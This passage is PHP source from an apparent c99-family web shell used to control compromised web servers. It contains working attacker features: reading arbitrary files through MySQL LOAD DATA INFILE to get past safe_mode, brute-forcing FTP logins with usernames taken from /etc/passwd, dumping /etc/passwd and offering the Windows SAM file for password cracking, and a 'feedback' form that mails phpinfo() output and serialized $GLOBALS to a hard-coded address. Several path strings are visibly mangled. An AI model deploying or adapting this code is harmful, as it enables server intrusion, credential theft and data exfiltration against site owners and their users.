      echo "<option value=\"tbloptimize\">Optimize table</option>";  
      echo "<option value=\"tblrepair\">Repair table</option>";  
      echo "<option value=\"tblanalyze\">Analyze table</option>";  
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";  
      mysql_free_result($result);  
     }  
    }  
   }  
   }  
  }  
  else {  
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");  
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }  
   if (!empty($sql_act)) {  
    echo "<hr size=\"1\" noshade>";  
    if ($sql_act == "newdb") {  
     echo "<b>";  
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}  
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}  
    }  
    if ($sql_act == "serverstatus") {  
     $result = mysql_query("SHOW STATUS", $sql_sock);  
     echo "<center><b>Server-status variables:</b><br><br>";  
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";  
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}  
     echo "</table></center>";  
     mysql_free_result($result);  
    }  
    if ($sql_act == "servervars") {  
     $result = mysql_query("SHOW VARIABLES", $sql_sock);  
     echo "<center><b>Server variables:</b><br><br>";  
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";  
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}  
     echo "</table>";  
     mysql_free_result($result);  
    }  
    if ($sql_act == "processes") {  
     if (!empty($kill)) {  
       $query = "KILL ".$kill.";";  
       $result = mysql_query($query, $sql_sock);  
       echo "<b>Process #".$kill." was killed.</b>";  
     }  
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);  
     echo "<center><b>Processes:</b><br><br>";  
     echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";  
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}  
     echo "</table>";  
     mysql_free_result($result);  
    }  
    if ($sql_act == "getfile")  
    {  
     $tmpdb = $sql_login."_tmpdb";  
     $select = mysql_select_db($tmpdb);  
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}  
     if ($select)  
     {  
      $created = FALSE;  
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");  
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");  
      $result = mysql_query("SELECT * FROM tmp_file;");  
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}  
      else  
      {  
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}  
       $f = "";  
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}  
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}  
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}  
       mysql_free_result($result);  
       mysql_query("DROP TABLE tmp_file;");  
      }  
     }  
     mysql_drop_db($tmpdb); //comment it if you want to leave database  
    }  
   }  
  }  
}  
echo "</td></tr></table>";  
if ($sql_sock) {  
  $affected = @mysql_affected_rows($sql_sock);  
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}  
  echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";  
}  
echo "</table>";  
}  
//End of SQL Manager  
if ($act == "ftpquickbrute") {  
echo "<center><table><tr><td class=barheader colspan=2>";  
echo ".: Ftp Quick Brute :.</td></tr>";  
echo "<tr><td>";  
if ($win) {echo "Couldn't run on Windows!";}  
else {  
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {  
    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}  
    else {$TRUE = TRUE;}  
    if ($TRUE) {  
      $sock = @ftp_connect($host,$port,$timeout);  
      if (@ftp_login($sock,$login,$pass)) {  
        echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";  
        ob_flush();  
        return TRUE;  
      }  
    }  
  }  
  if (!empty($submit)) {  
    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}  
    $fp = fopen("/etc/passwd","r");  
    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}  
    else {  
      if ($fqb_logging) {  
        if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}  
        else {$fqb_logfp = FALSE;}  
        $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."

";  
        if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}  
      }  
      ob_flush();  
      $i = $success = 0;  
      $ftpquick_st = getmicrotime();  
      while(!feof($fp)) {  
        $str = explode(":",fgets($fp,2048));  
        if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {  
          echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";  
          $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";  
          if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}  
          $success++;  
          ob_flush();  
        }  
        if ($i > $fqb_lenght) {break;}  
        $i++;  
      }  
      if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";}  
      $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);  
      echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";  
      $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";  
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}  
      if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}  
      fclose($fqb_logfp);  
    }  
  }  
  else {  
    $logfile = $tmpdir_logs."yx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";  
    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);  
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".  
         "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".  
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".  
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".  
         "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".  
         "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".  
         "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";  
  }  
  echo "</td></tr></table></center>";  
}  
}  
if ($act == "d") {  
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }  
else {  
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";  
  if (!$win) {  
   echo "<tr><td><b>Owner/Group</b></td><td> ";  
   $ow = posix_getpwuid(fileowner($d));  
   $gr = posix_getgrgid(filegroup($d));  
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));  
  }  
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";  
}  
}  
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}  
if ($act == "security") {  
  echo "<div class=barheader>.: Server Security Information :.</div>".  
       "<table>".  
       "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";  
  echo "<td>Password File</td><td>";  
  if (!$win) {  
    if ($nixpasswd) {  
      if ($nixpasswd == 1) {$nixpasswd = 0;}  
      echo "*nix /etc/passwd:<br>";  
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}  
      if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}  
      echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";  
      $i = $nixpwd_s;  
      while ($i < $nixpwd_e) {  
        $uid = posix_getpwuid($i);  
        if ($uid) {  
          $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";  
          echo join(":",$uid)."<br>";  
        }  
        $i++;  
      }  
    }  
    else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}  
  }  
  else {  
    $v = $_SERVER["WINDIR"]."
epair\sam";  
    if (file_get_contents($v)) {echo "<td colspan=2><div class=yxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }  
    else {echo "You can crack Windows passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}  
  }  
  echo "</td></tr>";  
  echo "<tr><td>Config Files</td><td>";  
  if (!$win) {  
    $v = array(  
        array("User Domains","/etc/userdomains"),  
        array("Cpanel Config","/var/cpanel/accounting.log"),  
        array("Apache Config","/usr/local/apache/conf/httpd.conf"),  
        array("Apache Config","/etc/httpd.conf"),  
        array("Syslog Config","/etc/syslog.conf"),  
        array("Message of The Day","/etc/motd"),  
        array("Hosts","/etc/hosts")  
    );  
    $sep = "/";  
  }  
  else {  
    $windir = $_SERVER["WINDIR"];  
    $etcdir = $windir . "\system32\drivers\etc\";  
    $v = array(  
        array("Hosts",$etcdir."hosts"),  
        array("Local Network Map",$etcdir."networks"),  
        array("LM Hosts",$etcdir."lmhosts.sam"),  
    );  
    $sep = "\";  
  }  
  foreach ($v as $sec_arr) {  
    $sec_f = substr(strrchr($sec_arr[1], $sep), 1);  
    $sec_d = rtrim($sec_arr[1],$sec_f);  
    $sec_full = $sec_d.$sec_f;  
    $sec_d = rtrim($sec_d,$sep);  
    if (file_get_contents($sec_full)) {  
      echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";  
    }  
  }  
  echo "</td></tr>";  

  function displaysecinfo($name,$value) {  
    if (!empty($value)) {  
      echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";  
    }  
  }  
  if (!$win) {  
    displaysecinfo("OS Version",myshellexec("cat /proc/version"));  
    displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));  
    displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));  
    displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));  
    displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));  
    displaysecinfo("RAM",myshellexec("free -m"));  
    displaysecinfo("HDD Space",myshellexec("df -h"));  
    displaysecinfo("List of Attributes",myshellexec("lsattr -a"));  
    displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));  
    displaysecinfo("cURL installed?",myshellexec("which curl"));  
    displaysecinfo("lynx installed?",myshellexec("which lynx"));  
    displaysecinfo("links installed?",myshellexec("which links"));  
    displaysecinfo("fetch installed?",myshellexec("which fetch"));  
    displaysecinfo("GET installed?",myshellexec("which GET"));  
    displaysecinfo("perl installed?",myshellexec("which perl"));  
    displaysecinfo("Where is Apache?",myshellexec("whereis apache"));  
    displaysecinfo("Where is perl?",myshellexec("whereis perl"));  
    displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));  
    displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));  
    displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));  
    displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));  
  }  
  else {  
    displaysecinfo("OS Version",myshellexec("ver"));  
    displaysecinfo("Account Settings",myshellexec("net accounts"));  
  }  
  echo "</table>
";  
}  
if ($act == "mkfile") {  
if ($mkfile != $d) {  
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}  
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}  
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}  
}  
else {$act = $dspact = "ls";}  
}  
if ($act == "encoder") {  
echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".  
     "<form name=\"encoder\" action=\"".$surl."\" method=POST>".  
     "<input type=hidden name=act value=encoder>".  
     "<center><table class=contents>".  
     "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".  
     "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".  
     "<input type=submit value=\"calculate\"></td></tr>".  
     "<tr><td rowspan=4>Hashes:</td>";  
foreach(array("md5","crypt","sha1","crc32") as $v) {  
  echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";  
}  
echo "</tr>".  
     "<tr><td rowspan=2>Url:</td>".  
     "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".  
     "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".  
     "<tr><td rowspan=2>Base64:</td>".  
     "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".  
     "<tr><td>base64_decode:</td><td>";  
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}  
else {  
  $debase64 = base64_decode($encoder_input);  
  $debase64 = str_replace("","[0]",$debase64);  
  $a = explode("
",$debase64);  
  $rows = count($a);  
  $debase64 = htmlspecialchars($debase64);  
  if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }  
  else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }  
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";  
}  
echo "</td></tr>".  
     "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";  
$c = strlen($encoder_input);  
for($i=0;$i<$c;$i++) {  
  $hex = dechex(ord($encoder_input[$i]));  
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}  
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;}  
}  
echo "\" readonly></td></tr></table></center></form>";  
}  
if ($act == "fsbuff") {  
  $arr_copy = $sess_data["copy"];  
  $arr_cut = $sess_data["cut"];  
  $arr = array_merge($arr_copy,$arr_cut);  
  if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}  
  else {  
    $yx_infohead = "File-System Buffer";  
    $ls_arr = $arr;  
    $disp_fullpath = TRUE;  
    $act = "ls";  
  }  
}  
if ($act == "selfremove") {  
  if (($submit == $rndcode) and ($submit != "")) {  
    if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; c99shexit(); }  
    else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}  
  }  
  else {  
    if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}  
    $rnd = rand(0,9).rand(0,9).rand(0,9);  
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";  
  }  
}  
if ($act == "update") { //Update c99Shell  
  $ret = c99sh_getupdate(!!$confirmupdate);  
  echo "<b>".$ret."</b>";  
  if (stristr($ret,"new version")) {  
    echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";  
  }  
}  
if ($act == "feedback") {  
  $suppmail = base64_decode("czRsMXR5QGhvdG1haWwuY29t");  
  if (!empty($submit)){  
    $ticket = substr(md5(microtime()+rand(1,1000)),0,6);  
    $body = $sh_name." feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."

IP: ".$REMOTE_ADDR;  
    if (!empty($fdbk_ref)) {  
      $tmp = @ob_get_contents();  
      ob_clean();  
      phpinfo();  
      $phpinfo = base64_encode(ob_get_contents());  
      ob_clean();  
      echo $tmp;  
      $body .= "
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
";  
    }  
    mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);  
    echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";  
  }  
  else {  
    echo "<form action=\"".$surl."\" method=POST>".  
         "<input type=hidden name=act value=feedback>".  
         "<table class=contents><tr><td class=barheader colspan=2>".  
         ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".  
         "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".  
         "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".  
         "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".  
         "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".  
         "*Language: English, Indonesian.</td></tr>".  
         "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".  
         "</table>";  
  }  
}  
if ($act == "yxmailer") {  
  if (!empty($submit)){  
    $headers = 'To: '.$dest_email."
";  
    $headers .= 'From: '.$sender_name.' '.$sender_email."
";  
    if (mail($suppmail,$sender_subj,$sender_body,$header)) {  
      echo "<center><b>Email sent!</b></center>";  
    }  
    else { echo "<center><b>Couldn't send email!</b></center>"; }  
  }  
  else {  
    echo "<form action=\"".$surl."\" method=POST>".  
         "<input type=hidden name=act value=yxmailer>".  
         "<table class=contents><tr><td class=barheader colspan=2>".  
         ".: $sh_name Mailer :.</td></tr>".  
         "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".  
         "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".  
         "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".  
         "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".  
         "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".  
         "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".  
         "</table>";  
  }  
}  
if ($act == "search") {  
  echo "<div class=barheader>.: $sh_name File-System Search :.</div>";  
  if (empty($search_in)) {$search_in = $d;}  
  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}  
  if (empty($search_text_wwo)) {$search_text_regexp = 0;}  
  if (!empty($submit)) {  
    $found = array();  
    $found_d = 0;  
    $found_f = 0;  
    $search_i_f = 0;  
    $search_i_d = 0;  
    $a = array(  
        "name"=>$search_name,  
        "name_regexp"=>$search_name_regexp,  
        "text"=>$search_text,  
        "text_regexp"=>$search_text_regxp,  
        "text_wwo"=>$search_text_wwo,  
        "text_cs"=>$search_text_cs,  
        "text_not"=>$search_text_not  
    );  
    $searchtime = getmicrotime();  
    $in = array_unique(explode(";",$search_in));  
    foreach($in as $v) {c99fsearch($v);}  
    $searchtime = round(getmicrotime()-$searchtime,4);  
    if (count($found) == 0) {echo "No files found!";}  
    else {  
      $ls_arr = $found;  
      $disp_fullpath = TRUE;  
      $act = "ls";  
    }  
  }  
  echo "<table class=contents>".  
       "<tr><td><form method=POST>".  
       "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".  
       "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".  
       "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".  
       "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".  
       "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".  
       "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".  
       "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".  
       "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".  
       "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".  
       "</table>";  
  if ($act == "ls") {  
    $dspact = $act;  
    echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".  
         "<hr size=\"1\" noshade>";  
  }  
}  
if ($act == "chmod") {  
  $mode = fileperms($d.$f);  
  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}  
  else {  
    $form = TRUE;  
    if ($chmod_submit)  
  {  
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);  
   if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}  
   else {$err = "Can't chmod to ".$octet.".";}  
  }  
  if ($form)  
  {  
   $perms = parse_perms($mode);  
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";  
  }  
}  
}  
if ($act == "upload") {  
  $uploadmess = "";  
  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);  
  if (empty($uploadpath)) {$uploadpath = $d;}  
  elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}  
  if (!empty($submit)) {  
    global $_FILES;  
    $uploadfile = $_FILES["uploadfile"];  
    if (!empty($uploadfile["tmp_name"])) {  
      if (empty($uploadfilename)) {$destin = $uploadfile["name"];}  
      else {$destin = $userfilename;}  
      if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {  
        $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";  
      }  
      else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }  
    }  
    elseif (!empty($uploadurl)) {  
      if (!empty($uploadfilename)) {$destin = $uploadfilename;}  
      else {  
        $destin = explode("/",$destin);  
        $destin = $destin[count($destin)-1];  
        if (empty($destin)) {  
          $i = 0;  
          $b = "";  
          while(file_exists($uploadpath.$destin)) {  
